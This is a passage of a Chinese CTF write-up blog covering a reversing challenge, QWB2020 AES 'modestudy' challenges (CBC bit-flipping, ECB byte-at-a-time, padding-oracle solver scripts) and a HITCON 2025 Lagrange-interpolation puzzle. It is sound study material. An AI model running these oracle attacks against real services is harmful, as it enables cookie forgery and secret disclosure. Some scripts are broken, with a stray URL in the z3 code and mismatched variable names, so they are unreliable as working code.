addr:0x4aa Vb += Vc set VF=1 if VX>=255
addr:0x4ac Va = Vb
addr:0x4ae V8 = Va
addr:0x4b0 Va = V9
addr:0x4b2 Vb = V9
addr:0x4b4 Vc = 02
addr:0x4b6 Vb += Vc set VF=1 if VX>=255
addr:0x4b8 Va = Vb
addr:0x4ba V9 = Va

上面这些简单对输入值进行了处理,按键值(U0到U9),修改后值(V0到V9):

1
2
3
4
5
6
7
8
9
10
V0 = U0 + 2
V1 = U1 + 1
V2 = (U2 + 1) ^ 1
V3 = U3 + 3
V4 = U4 + 4
V5 = U5 ^ 2 + 1
V6 = U6 * 2
V7 = U7 + 1
V8 = U8 ^ 1 + 1
V9 = U9 + 2

然后接下来就是方程运算:

img

这里有个经常使用的函数27a:

img

递归相加V1次,也就是V0*V1乘法操作

所以方程如下:

1
2
3
4
5
6
7
8
9
10
V0 + 2*V1 + V2 = 0x21
2*V0 + V1 + V2 = 42
V0 + 2*V1 + 2*V2 = 48
V3 + 2*V4 + V5 = 55
2*V3 + V4 + V5 = 55
V3 + 2*V4 + 2*V5 = 59
V6 + 2*V7 + V8 = 31
2*V6 + V7 + V8 = 22
V6 + 2*V7 + 2*V8 = 32
V9 = 5

得到所有方程,使用Z3求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from z3 import *

f = [Int('v%d' % i) for i in range(9)]
flag = []
solver = Solver()

for c in f:
solver.add(c >= 0x0)
solver.add(c <= 0xff)

solver.add(f[0] + 2 * f[1] + f[2] == 0x21)
solver.add(2 * f[0] + f[1] + f[2] == 42)
solver.add(f[0] + 2 * f[1] + 2 * f[2] == 48)
solver.add(f[3] + 2 * f[4] + f[5] == 55)
solver.add(2 * f[3] + f[4] + f[5] == 55)
solver.add(f[3] + 2 * f[4] + 2 * f[5] == 59)
solver.add(f[6] + 2 * f[7] + f[8] == 31)
solver.add(2 * f[6] + f[7] + f[8] == 22)
solver.add(f[6] + 2 * f[7] + 2 * f[8] == 32)
https://ctf.junior.nu1l.com/
# if solver.check() == sat:
# model = solver.model()
# solver.add(RecurOr(f, model))
if solver.check() == sat:
model = solver.model()
ff = [model[f[0]].as_long() - 2, model[f[1]].as_long() - 1, (model[f[2]].as_long() ^ 1) - 1,
model[f[3]].as_long() - 3, model[f[4]].as_long() - 2, (model[f[5]].as_long() - 1) ^ 2,
model[f[6]].as_long() // 2, model[f[7]].as_long() - 1, (model[f[8]].as_long() - 1) ^ 1, 5 - 2]
flag = "flag{6c8f1d78770fe672122478c6f9a150e1"
for i in range(len(ff)):
flag += str(hex(ff[i]).replace('0x',''))
print(flag+'}')

# a2def12c13

最后得到flag:flag{6c8f1d78770fe672122478c6f9a150e1a2def12c13}

参考题解:https://rycbar77.github.io/2020/08/28/2020-08-28-2020-%E5%BC%BA%E7%BD%91%E6%9D%AF-wp/ (这个里面提供除AES外的两个脚本都有误,这里修改之后是正确的)

qwb2020-crypto

modestudy

AES

1、2 、6 CBC 比特翻转攻击 选择密文攻击、IV预测 padding oracle attack

3 、4、5 ECB 如果有几个相同的明文组,那么密文也将有几个相同的片段 选择明文攻击 加密图片

CTR nonce重用

challenge1

1
2
3
4
5
[$] challenge 1
[+] cookie:session=6b1f33a78c5b9c17;admin=0;checksum=552ebbeb9276a8cd9f741b7d29f8c9e1eb455757207ac420659e7eab56ddee25
[+] checksum=aes128cbc.encrypt(session=6b1f33a78c5b9c17;admin=0)
[+] only admin can see flag
[-] cookie:(待输入)

AES分块,每块都是128bits。

AES-CBC加解密如下:

$$Cᵢ = Encrypt(Pᵢ ⊕ Cᵢ₋₁)\ Pᵢ = Decrypt(Cᵢ) ⊕ Cᵢ₋₁$$

img img img

伪造一个合适的checksum,使得解密后admin=1。

对于AES128的CBC解密模式,将密文按照16字节(128bits)分块,每个密文块先进行AES解密,然后再与前一个密文块(或IV)进行异或操作,得到明文块。

也就是可以通过伪造“0”(0x30)对应的密文块,从而使得解密后的明文块中的“0”变为“1”(0x31)。

$$
P_1(i) = Decrypt(C_1(i)) \oplus C_0(i)\ 需要将C_0(i)修改为C_0^(i)=C_0(i) \oplus \Delta\\ 则P_1^(i)=Decrypt(C_1(i)) \oplus C_0^(i)=Decrypt(C_1(i)) \oplus C_0(i) \oplus \Delta=P_1(i)\oplus \Delta\\ 则\Delta=P_1(i) \oplus P_1^(i)\ 则C_0^(i)=C_0(i) \oplus \Delta=C_0(i)\oplus P_1(i)\oplus P_1^(i)
$$
也就是说,只需计算C_0^`(i)=0xe1⊕0x30⊕0x31=0xe0即可,也就是不进位模二加。

1
2
3
session=6b1f33a7          552ebbeb9276a8cd9f741b7d29f8c9e1
8c5b9c17;admin=0 eb455757207ac420659e7eab56ddee25
session=6b1f33a78c5b9c17;admin=0;checksum=552ebbeb9276a8cd9f741b7d29f8c9e0eb455757207ac420659e7eab56ddee25

challenge2

1
2
3
4
5
[$] challenge 2
[+] sha256(iv)=11f595abc9d7b986d24fce986d1f9ddfb0d83f2f978db20b862ea730e570bff0
[+] 1. server's job: print aes_cbc_dec(key,iv,your_input_c).encode('hex')
[+] 2. your job: guess iv
[-] your choice:(待输入)

令输入的密文为c0、c1,输出的明文为m0、m1。

$$dec(c_0)=m_0 \oplus IV\ dec(c_1)=m_1 \oplus c_0\ 若c_0=c_1,则m_0 \oplus IV=m_1 \oplus c_0,\ 则IV=m_0 \oplus m_1 \oplus c_0$$

那么输入两次相同的16字节字符串,将这个字符串异或两次解密出的明文,即为IV。

challenge3

1
2
3
4
5
[$] challenge 3
[+] cookie=session:0884ce7c;timedl=1;admin=0;guess_cookie_ma=1;guess_mp_ab=1;guess_cookie_mb=0;hell_pad=233
[+] 128bit_ecb_encrypt(cookie):0632b3e7adb2f6d5ae4a92f553f2f4a4c9f95b099cfd8e3408137d134eb51d147045f278246a831fabdbdccde099b4b694b07e699ffae6a82c6cfbc4454816b1c78e5d1be8b67e235fbbfd2a75e73f32bac806808bc2e102db8f2c159b250415
[+] only admin can see the flag
[-] input your encrypted cookie(encode hex):(待输入)
img

先将明密文分块

1
2
3
4
5
6
session:0884ce7c          0632b3e7adb2f6d5ae4a92f553f2f4a4
;timedl=1;admin= c9f95b099cfd8e3408137d134eb51d14
0;guess_cookie_m 7045f278246a831fabdbdccde099b4b6
a=1;guess_mp_ab= 94b07e699ffae6a82c6cfbc4454816b1
1;guess_cookie_m c78e5d1be8b67e235fbbfd2a75e73f32
b=0;hell_pad=233 bac806808bc2e102db8f2c159b250415

发现第三行和第五行只有第一个字符不一样,且正好是需要的字符“1”,因此把第五行的密文覆盖掉第三行的密文即可。

challenge4

1
2
3
4
5
6
[$] challenge 4
[+] sha256(secret)=d014cbddd2cbb0fa2404c519c166bc85c03ee3445d643f451a5f5d6244e7e34d
[+] assert len(secret)==16
[+] 1. server's job: print aes_ecb(key,input+secret+'\x00'*((16-(len(input+secret) % 16)) % 16))
[+] 2. your job: guess secret
[-] your choice:(待输入)

由于ECB模式是分块加密,每块16字节,第一次先输入15字节”1“,会自动拼接1字节secret[0],然后从0x0-0xff爆破这一字节,直至对应的密文块相同。第二次输入14字节”1“+secret[0],会自动拼接1字节secret[1],再次爆破。以此类推,直至爆破出全部secret。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from Crypto.Util.number import *

p = remote("x.x.x.x", 1111)

secret = b''
for i in range(1,17):
padding = b'1' * (16-i)
p.sendlineafter(b"your choice:", b"1")
p.sendlineafter(b"input(encode hex):",padding.hex().encode())
p.recvuntil(b"before encrypted:")
print(p.recvline)
p.recvuntil(b"encrypted msg: ")
cypher = p.recvline.decode().strip()[:32]
print(f"cipher: {cipher}")
for j in range(256):
test_padding = padding + secret + bytes([j])
p.sendlineafter(b"your choice:", b"1")
p.sendlineafter(b"input(encode hex):", (test_padding.hex().encode()))
p.recvuntil(b"encrypted msg: ")
test_cypher = p.recvline.decode().strip()[:32]
print(f"test_cypher: {test_cypher}")
if cypher == test_cypher:
secret += bytes([j])
print(secret)

challenge5

1
2
3
4
5
6
7
8
[$] challenge 5
[+] sha256(secret)=4c766c8749526dd1a14fdf37619d2fbebbbc2478e25e27e63e591ae0aafb305d
[+] assert len(secret)==16
[+] myblockencrypt_ecb(secret).encode("hex")=4c21cc2bc7941b224ed45bd02ee11b60
[+] In this challenge, you need to try something.
[+] 1. server's job: print myblockencrypt_ecb(your_input)
[+] 2. your job: guess secret
[-] your choice:(待输入)

尝试一些输入,直接拿writeup的例子说明。

1
2
3
4
5
6
7
8
9
10
11
[+] In this challenge, you need to try something.
[+] 1. server's job: print myblockencrypt_ecb(your_input)
[+] 2. your job: guess secret
[-] your choice:1
[-] input(encode hex):80808080808080808080808080808080
[+] myblockencrypt_ecb(your_input).encode("hex"):35093509350935093509350935093509
[+] 1. server's job: print myblockencrypt_ecb(your_input)
[+] 2. your job: guess secret
[-] your choice:1
[-] input(encode hex):66666666666666666666666666666666
[+] myblockencrypt_ecb(your_input).encode("hex"):022c022c022c022c022c022c022c022c

加密实际上就是对每2byte进行置换,也就是分组长度位2byte的加密,实际上就是每16位一段进行加密且互不影响。列一个置换表出来,即可找到secret。数次访问的加密结果完全相同,可以认为这个加密是个固定的映射,因此尝试从0000到ffff的所有输入,然后去对密文就可以了。

challenge6

padding oracle attack猜解IV

1
2
3
4
5
6
7
8
9
10
11
12
[$] challenge 6
[+] padding(m):m+chr(16-(len(m)%16))*(16-(len(m)%16))
[+] unpadding(m):m[:-ord(m[-1])]
[+] len(secret):16
[+] iv+aes128_cbc(key,iv,padding(secret)):31313131313131313131313131313131891f3925b171f363bfc1ab0f4c03c9172cdfbd56dbd225d2accaf2b6fcbd0780
[+] 1. server's job: decrypt and unpadding
[+] 2. your job: guess secret
[-] your choice:(待输入)

31313131313131313131313131313131 # IV,即ASCII '1'的重复
891f3925b171f363bfc1ab0f4c03c917 # 第一组密文
2cdfbd56dbd225d2accaf2b6fcbd0780 # 第二组密文

首先详细了解CBC模式的加解密过程

img
1
2
3
4
5
6
# 加密
1. 明文经过填充后,分为不同的组block,以组的方式对数据进行处理
2. 初始化向量(IV)首先和第一组明文进行XOR(异或)操作,得到”中间值“
3. 采用密钥对中间值进行块加密,删除第一组加密的密文 (加密过程涉及复杂的变换、移位等)
4. 第一组加密的密文作为第二组的初始向量(IV),参与第二组明文的异或操作
5. 依次执行块加密,最后将每一块的密文拼接成密文
img
1
2
3
4
5
6
7
# 解密
1. 会将密文进行分组(按照加密采用的分组大小),前面的第一组是初始化向量,从第二组开始才是真正的密文
2. 使用加密密钥对密文的第一组进行解密,得到”中间值“
3. 将中间值和初始化向量进行异或,得到该组的明文
4. 前一块密文是后一块密文的IV,通过异或中间值,得到明文
5. 块全部解密完成后,拼接得到明文,密码算法校验明文的格式(填充格式是否正确)
6. 校验通过得到明文,校验失败得到密文
  • Padding Oracle 攻击的条件:
    • 1、攻击者能够获得密文(ciphertext),以及密文对应的IV(初始化向量)

    • 2、攻击者能够触发密文的解密过程,且能够知道密文的解密结果(因为需要根据结果不断尝试)。

Padding Oracle Attack(填充提示攻击)详解及验证 - 简书

通过上面的例题,详细了解一下padding oracle attack的原理,再针对上面的例题,从已知明文的角度详细了解一下加解密的过程。

img img

例题密文如下,对其进行分组

1
2
3
7B216A634951170F  # IV
F851D6CC68FC9537 # 第一组密文c1
858795A28ED4AAC6 # 第二组密文c2

那么可以首先通过构造初始向量IV破解第一组密文。

将IV设置为全0,向服务器提交IV+c1,即00000000000000000F851D6CC68FC9537。

img

首先假设明文从c1填充了最后一字节,那么按照填充规则,最后一字节明文应当是填充0x01。

那么此时全0 IV一定会解密失败,解密的过程是先解密密文得到一个中间值,然后将中间值和IV异或得到明文,而此时解密出的明文不满足填充规则,也就是不是0x01。

依次将IV最后一个字节从0x01~0xFF递增,直到解密的明文最后一个字节为0x01时,才是正确的padding,而此时IV为0000000000000003C,此时将0000000000000003C+c1提交给服务器,将会返回解密正确的提示,如下图。

img

此时已知IV的最后一个字节为0x3C,最后一个填充字节为0x01,那么即可得到c1解密过程中的中间值的最后一个字节是0x01^0x3C = 0x3D。

接着利用同样的方法,假设c1填充了最后两字节,那么填充的内容应当是0x02 0x02。而此时已经知道了中间值的最后一字节是0x3D,那么可以得到IV的最后一字节应该是0x3D^0x02 = 0x3F,那么将IV=000000000000003F,此时开始从0x00~0xFF遍历IV的倒数第2个字节,直到返回解密成功,如下图

img

那么此时猜解出了中间值的倒数第二个字节是0x02^0x24 = 0x26。以此类推,一直假设至填充8字节0x08,即可完成中间值猜解,如下图。

img

当中间值全部猜解完毕后,将中间值和题目给的IV异或,即可得到c1的明文。

1
2
3
4
5
0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D  # c1中间值
xor
0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F # 初始IV
=
BRIAN;12 # 明文m1

重点:第一组密文解密的中间值是一直不变的,同样也是正确的,我们通过构造IV值,使得最后一位填充值满足0x01,符合padding规则,则意味着程序解密成功(当前解密的结果肯定不是原来的明文),通过循环测试的方法,猜解出中间值得最后一位,再利用同样的方式猜解前面的中间值,直到获取到完整的中间值。

继续破解第二组密文,第二组密文的IV向量是第一组密文,随意按照上述的逻辑构造第一组密文,即可破解出第二组明文。也就是从00000000000000000858795A28ED4AAC6开始遍历,直至找到中间值,即可求出明文m2。

再回到本题,本题解密并不返回结果,只返回能不能成功解密,iv可控,因此也是要利用padding oracle attack填充提示攻击。

1
2
3
4
5
6
7
8
31313131313131313131313131313131 # IV,即ASCII '1'的重复
891f3925b171f363bfc1ab0f4c03c917 # 第一组密文c1
2cdfbd56dbd225d2accaf2b6fcbd0780 # 第二组密文c2
dec(c1) = iv ^ m1
dec(c2) = c1 ^ m2
iv = 1111111111111111
c1、c2已知
m2 = '\x10'*16

要求m1,就必须使用唯一与其相关的c1;利用填充规则,就必须将c1置于最后一段。尝试以下的解密输入:

1
2
第一段:'\x00' * 15 + ?
第二段:c1

对于?取值0~255依次进行测试。根据CBC解密流程,如果当?=a时能够解密成功,说明此时解密的第一段明文最后一字节为\x01,即m1的末位为 a ^ iv ^ 0x01,a即为不变的中间值的最后一位。

接着用a ^ 0x01 ^ 0x02来代替a作为固定末位,此时解密的最后一位固定为\x02。继续调整输入第一段的倒数第二位,使得解密结果末尾为\x02\x02,此时解密成功,可求出m1的倒数第二位。以此类推可以求出m1。再把c1作为c2的IV,按照同样的方法求得m2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def chal6():
io.sendlineafter("[-] your choice:", "6")
io.recvuntil("[+] iv+aes128_cbc(key,iv,padding(secret)):")
msg = unhexlify(io.recvline().strip())
iv, cipher = msg[:16], msg[16:32]
'''
暴力破解第一段密文
secret = b''
for i in range(16):
for j in tqdm(range(0x100)):
ct = iv[:15-i] + bytes([j]) + iv[16-i:] + cipher
if chal6_dec(ct) == True:
secret = bytes([iv[-i - 1] ^ j ^ (i + 1)]) + secret
iv = iv[:15-i] + xor(ct[15-i:16], bytes([(i + 1) ^ (i + 2)]) * (i + 1))
break
print(secret)
'''
secret = b'\xe6?\xee\x07\xa3\x07\xaa\xc8\x8em\xb5\xa0\x90'
iv = iv[:16-len(secret)] + xor(iv[16-len(secret):], xor(secret, bytes([len(secret) + 1]) * len(secret)))
# context.log_level = 'debug'
for i in range(len(secret), 16):
for j in tqdm(range(0x100)):
ct = iv[:15-i] + bytes([j]) + iv[16-i:] + cipher
if chal6_dec(ct) == True:
secret = bytes([iv[-i - 1] ^ j ^ (i + 1)]) + secret
iv = iv[:15-i] + xor(ct[15-i:16], bytes([(i + 1) ^ (i + 2)]) * (i + 1))
break
print(secret)
io.sendlineafter("[-] your choice:", "2")
io.sendlineafter("[-] secret(encode hex):", hexlify(secret))

fault

国密SM4

Case Study: Differetial Cryptanalysis Attack | Soreat_u’s Blog

强网杯 S4 SU Write-Up - su-team

flagsystem

首先获得原始令牌,注册得到(signature, data)

由于seed是利用time.time()时间戳生成,可±10秒进行爆破,获取正确的seed后,可获取初始的random_constants和random_iv。

爆破sha256的前缀破解pow。

构造恶意数据,在原始数据后添加新的权限字段0xFF,也就是创建权限为0xFF的数据。

li用爆破出的seed计算而已数据的哈希

利用给出的N和e,以及给出的签名消sign也就是密文c,已知N、e、c可以通过一系列方法求p、q、d。

然后直接用d对哈希进行签名,获取权限为0xFF的令牌。

没找到wp,先放放。

hitcon ctf2025_Sharing is caring

李博士打hitcon ctf2025时有一道re题,解开后是一道密码题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#-- coding: utf-8 --
from fractions import Fraction
from IPython import embed

rrt = [
0x1F0C22AD1FC79BAD9998E741F118A0E4DC6186734A25A072CB657AC3E9B05DB5F30451DD9E8F4BE8F,
-0xF8611568FE3CDD6CCCC73A0F88C50726E30C339A512D03965B2BD61F4D82EDAF98228EECF47A5F48,
0xA81F883356FCE6CC28C3E8BBD7E1D0957F5336FA947DA83937D361F8D443638E38F1C480262E9B49,
-0x1FFD4D76D7563C2929E079FD815862501DDBCF6F1B71520D3894879E8193D46F719A38A4343BF0BB,
-0x258A737960D8A6770B5A88E2DBD5CB18747D7CFC0C2AEEB727E31FF15463E85B42BAEE49D9E0CC0F,
0x42D8D6C7C60482107421060735391BD75AC329010148D32EC2E872178C87E382432F5B00FA07C01C,
-0x11C3AC8DE06A1450EA78018E230686B2EE978E7A4D98560D51C61DE7A8362CA6DDCC45E1147B8885,
0x43AA96AA8C3002C6EBB9BE5563667785F6E9DFAB912FAAF741CFBD0A03428F365E0FCE3284B3B8B3,
0x7AFDE950DD9AE47637ED2C6FB7250DD4DB4B3DDE2284A9B87582E1F73C91440687E33CB2BBFC5189B,
-0x3CA029BD608E714CA5F1C7B035282C42D00DF1FEB16ABD40D0F976F75EA6D3686227395F604A25676D,
0x166CB92444160450747991DBBDF057BAF85916E5F0A355CCD7ECC9A0D993582AA923F5B4FB2ABABC81,
-0x663E489FBDAEC80D1884477F020778B5A2D090399A17B6AE5817A8EF1EA99F655003967D3A609224FD,
0x1BAB93E013E3D17B5364244083170DFE0BD5A1F99BA1643851400892E0D4AADEDF122B0507F93BC27F,
-0xCC39640F78F10E9EFD61E2B44CFEE4D9117B4A3A84139BAF9C5EDA67C578021CD48C4B57E6AF0F44F,
0x21F2983A517C4FAEA38B3812E0331396A03FA4F4405203C1756C0C4167589CFAABDB61429C901B23315,
-0xD0043580FE877D8ED2B5DA1F3DD452925BD11D7F0A4BEB5F7614785BECE71FAF6CFE03AD64B8234D33,
0x633DD371A42F8D22B2D0CB201CCB16EBBA8F405FF2B113814CE8DFDD36F81C6AE0B58158186627766A9,
-0xB819D98EB71AC2A8B05296FA5FC31454AD69C910704A6EB205E2B2026BEFD69851240F5BAD1B20319,
0x252235BEDC59ECEEDC518812E51AFD4724A090E89A5A10509A9F03C53C3663DCB9755DB5D90EA7311D3,
-0xE2178F78C86017B224413FEAE2C4F3C32524C72BEA949AF624BA5012A7266BAE3A83036A747E10D5D05,
0x605197C25F89C947BC425DA91858B982F21C31615F61418E16420CD725CA6038B7A0FF8110546470032F,
-0x1B45970BD9A24B31CCF3F3DDBAF6E55F85EAB899B8256438136F66C9D6ACA008FC5EFC3A68C643F30049,
0x25CAB05492FBBE7F64C1D2DAF9601F29992C5BA78F18D0AFDE3BB1267496AFDD4521F24812809F71FFBF,
-0x8ED7098BC09611E0669A9D014C7E1A3B32B54801C45FE1DA070EAC5D6C2E0D77063A214ABD52D96CE97,
0x2413FEDDCE36DE145AE57CD141C38176341F00E5CB8CFDB4C8DFDA319C80C8A4AFF337E49F73DF2EF06F,
-0x2F3203C80A7C3442696575EDB2962C106836B1A5B8120FDAC440F06895C75F5CF034D3F586E0AD6A08479,
0xF46ECA5D31CD4D7493DBFB47A83FE50B0853451DFDB346086AEDA8C1BECCCF97B60D1E9160091FF8D773,
-0x3470EBC21C3C8E65D3B15C3D01681A308F65D5E69E52DB1D847C51C96D60FB0BF09CA6A3A1EAB9125D335,
]

ttr = [
1, 1, 2, 2, 12, 15, 10, 240, 40320, 362880, 403200, 7983360, 11975040, 37065600,
0x2E6519800, 0xA261D9400, 0x32BE93E4000, 0x466BBD9000, 0xC218F5AE8000,
0x4807432BC18000, 0x21C3677C82B40000, 0xB141DF4DAE310000, 0xF3BA930ACF8360000,
0x280A89874301780000, 0x5B65F7240DD14400000, 0x446E0208A903029400000,
0xDE65869C2549C86100000, 0x211D3C0B03AB74E50800000,
]

# 0~29,使用分数运算计算一个大整数,基于rrt和ttr数组的有理数运算
def rrn(n):
# 特殊情况,rrn(17)=1, rrn(18)=0
if n in (17, 18):
return 18 - n
F = Fraction
n = len(rrt) # 28
acc = F(0, 1) # 累加
mul = F(1, 1) # 累乘
for i in range(n):
acc += F(rrt[i], ttr[i]) * mul
mul *= F(n - i, 1)
return int(acc)

triple = [(rrn(7), rrn(8), rrn(9)), (rrn(10), rrn(11), rrn(12)), (rrn(13), rrn(14), rrn(15))]

"""
0 4144803293417776131310451317495228706499130241044716671850484110288180082374299088166459295448719
1 2072401646708888065655225658747614353249565120522358335925242055144090041187149544083229647724359
2 1402769202505631727601810730581776197716350949074282314174097681867464170562021714349605843278664
3 1335174568503939352563889373190143608146136792487939183543780907770759908268721571509488188235873
4 442427645836698445267007097625472942305363362863130591746066528455945891079759637465163543741507
5 1132891618999846053017541510085320021631035459029704515373044135313614915469753666299478525789537
6 3440625422497330758356285966425842805899353260932540945262402832827054563258418833844309632149096
7 51966
8 480442839669953990717445646260333383833736214883976558477525831992994289143305421629761482429714
9 680701978345522085049694956190292511497787092168524280991013677878931201637910598103187515536181
10 47806
11 253717457675323180603201716971045682091261518437666533915787790782521696917056900361404824269689
12 99768326317759269813131181172947299870925613919195157126671930387206518545837120733862757382354
13 201527
14 782319055923618868639890136618720319997476308047895888006842867173403800015590219030945524995543
15 944213788775446264472010893716848921879528565854393198519311752189219209422386607874556309845161
16 865967982817260602973374066425323583617367103807916127263320767485154348516392723060969424214055
17 1
18 0
19 3
20 6
21 2
22 4919
23 132146363252892079238955852043754382244951307426448497798760465957265430114543661757753602857394
24 57005
25 775309903033854570882823603825659470664893675806480830434450057789819902048494192286724670375083
26 48879
27 118549588096765345719828273586922254620646262475213503758232906237813765902929584873401252181598
28 -17927833311757106272913600706201967593825828617408413393921146586262101308545356473435323364772083605196
29 -480626274858555850271738168267749839659770589949752910052809542789249901244053865124196593810519595669432
"""
# 位加法运算,计算两个大数相加
def add(a, b):
while b:
carry = a & a
a = a ^ b
b = carry << 1
return a
# 位运算乘法,计算两个数相乘
def mul(a, b):
if b < 0:
return -1 * mul(a, -b)
acc = 0
while b:
acc += a if (b & 1) else 0
a <<= 1
b >>= 1
return acc
# 模幂运算,例如计算modexp(3, 13, 7),也就是计算3^13 mod 7的结果res=3
def modexp(base, exp, mod):
res = 1
b = base % mod
e = exp
while e:
if e & 1:
res = mul(res, b) % mod
b = mul(b, b) % mod
e >>= 1
return res

def verify(k, v1, v2):
# 获取模数
M = rrn(0)
# 计算左边(rrn(2)^v1 * rrn(3)^v2) mod M
left = mul(modexp(rrn(2), v1, M), modexp(rrn(3), v2, M)) % M
acc, step = 1,1
# 计算右边,累乘rrn(4)^1 * rrn(5)^k * rrn(6)^(k^2)
for val in [rrn(4), rrn(5), rrn(6)]:
acc = mul(acc, modexp(val, step, M)) % M
step = mul(step, k) % rrn(1) # step *= k % rrn(1)
# 验证左右是否相等
return left == acc

# 扩展欧几里得求逆元
def inv(a, m):
a0, a1 = 1, 0
b0, b1 = a % m, m
while b0 > 1:
q = b1 // b0
a0, a1 = (a1 - mul(a0, q)), (b1 - mul(b0, q))
a0, b0, a1, b1 = a0, a1, a0, b0
return a0 % m

def rtnr(arr):
# 验证arr是否为列表或元组,且至少包含3个元素
if not isinstance(arr, (list, tuple)) or len(arr) < 3:
return False
# 将arr变成键值对增加至hello
''' 原hello
hello = {
rrn(7): (rrn(8), rrn(9)),
rrn(10): (rrn(11), rrn(12)),
rrn(13): (rrn(14), rrn(15))}
'''
hello = {}
hello = {a: (b, c) for a, b, c in triple}
for a, b, c in arr:
hello[a] = (b, c)
# 组6
if len(hello) != 6: # 6
return False
# 验证hello的每一对键值对
for k, (v1, v2) in hello.items():
if not verify(k, v1, v2):
return False

else:
# rrn(22), rrn(24), rrn(26)
chosen = {a for a, b, c in arr[:3]}
# picked = [(rrn(22), a), (rrn(24), b), (rrn(26), c)]
picked = [(x, hello[x][0]) for x in sorted(chosen) if x in hello]
# [(rrn(7), rrn(9)), (rrn(10), rrn(12)), (rrn(13), rrn(15))]
leftovers = [(a, c) for a, c, _ in triple] # 原三元组里挑两个
rnrn = []
# rnrn = [(rrn(22), a), (rrn(7), rrn(9)), (rrn(10), rrn(12))]
if picked:
rnrn.append(picked[0])
rnrn.extend(leftovers[:2])
if len(rnrn) < 3:
# 修正非法解包 True
rnrn = list(((k, True) for k, (tmp, v2) in sorted(hello.items())))[:3]
base = 0
# 遍历rnrn的每一个点,
for idx, (x, y) in enumerate(rnrn):
prod, sum_ = 1, 1
for j, (xj, yj) in enumerate(rnrn):
if idx == j:
continue
prod = mul(prod, -xj) % rrn(1)
sum_ = mul(sum_, x - xj) % rrn(1)
tmp_ = mul(prod, inv(sum_, rrn(1))) % rrn(1)
return True

if __name__ == '__main__':
# 输入3个字符串,转换为int
a = int.from_bytes(input('1:').strip().encode())
b = int.from_bytes(input('2:').strip().encode())
c = int.from_bytes(input('3:').strip().encode())
# 打印rrn(0)到rrn(29)的值
for i in range(30):
print(i, rrn(i))

import ipdb; ipdb.set_trace()
# embed()
ok = rtnr(([rrn(22), a , rrn(23)], [rrn(24), b, rrn(25)], [rrn(26), c, rrn(27)]))
if ok:
print('Success!')
else:
print('Fail')

$$rrn(2)^{v1}*rrn(3)^{v2} \equiv rrn(4)rrn(5)^{k} rrn(6)^{k^2} \mod rrn(0)$$

对于模M的乘法群,由于M是素数,所以这个群包含所有与M互素的数,也就是1到M-1的所有整数。rrn(0-29)均在模M的乘法群中,且理论上可以相互表示(群里的元素理论上均可以由同一个生成元生成)。

对于以上式子,可令g=rrn(2),h=rrn(3),那么按照群元素可互相转化的性质将4、5、6转化为

$$rrn(4)=g^{a_1}h^{a_2} \ rrn(5)=g^{a_3}h^{a_4} \ rrn(6)=g^{a_5}h^{a_6} \ 那么g^{v1}h^{v2} \equiv g^{a_1+a_3k+a_5k^2}h^{a_2+a_4k+a_6k^2} \mod M\ 可得v1\equiv a_1+a_3k+a_5k^2 \mod org(g),v2\equiv a_2+a_4k+a_6*k^2 \mod org(h)$$

而对于模M的乘法群,由于M是素数,其乘法群的阶是 ϕ(M)=M−1,并发现ϕ(M)=M−1=2⋅rrn(1),且verify(k, v1, v2)函数中,step = mul(step, k) % rrn(1)可以看出,所有的k必须都能整除rrn(1),因此可认为rrn(1)是群的阶,所以群元素g和h的阶也是rrn(1),即

$$g^{rrn(1)}≡1\mod M\ 且h^{rrn(1)}≡1\mod M$$

因此化简后可得

$$v1\equiv a_1+a_3k+a_5k^2 \mod rrn(1)\ v2\equiv a_2+a_4k+a_6k^2 \mod rrn(1)$$

将triple中的三组数带入,拉格朗日插值即可求得多项式系数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# sage exp.sage
from sage.all import *
from gmpy2 import *

q = 2072401646708888065655225658747614353249565120522358335925242055144090041187149544083229647724359
triple = [(51966, 480442839669953990717445646260333383833736214883976558477525831992994289143305421629761482429714, 680701978345522085049694956190292511497787092168524280991013677878931201637910598103187515536181), (47806, 253717457675323180603201716971045682091261518437666533915787790782521696917056900361404824269689, 99768326317759269813131181172947299870925613919195157126671930387206518545837120733862757382354), (201527, 782319055923618868639890136618720319997476308047895888006842867173403800015590219030945524995543, 944213788775446264472010893716848921879528565854393198519311752189219209422386607874556309845161)]

Fq = GF(q)
points_v1 = [(Fq(point[0]), Fq(point[1])) for point in triple] # [(k1, v11), (k2, v12), (k3, v13)]
points_v2 = [(Fq(point[0]), Fq(point[2])) for point in triple] # [(k1, v21), (k2, v22), (k3, v23)]

# 拟合 P1(k) = a1 + a3*k + a5*k^2
R.<x> = Fq[] # 定义多项式环
P1 = R.lagrange_polynomial(points_v1)
# 拟合 P2(k) = a2 + a4*k + a6*k^2
P2 = R.lagrange_polynomial(points_v2)

# 从多项式中提取系数
coeffs_P1 = P1.coefficients(sparse=False)
coeffs_P2 = P2.coefficients(sparse=False)

a1 = coeffs_P1[0]
a3 = coeffs_P1[1]
a5 = coeffs_P1[2]
a2 = coeffs_P2[0]
a4 = coeffs_P2[1]
a6 = coeffs_P2[2]

print(f"a1 = {a1}")
print(f"a2 = {a2}")
print(f"a3 = {a3}")
print(f"a4 = {a4}")
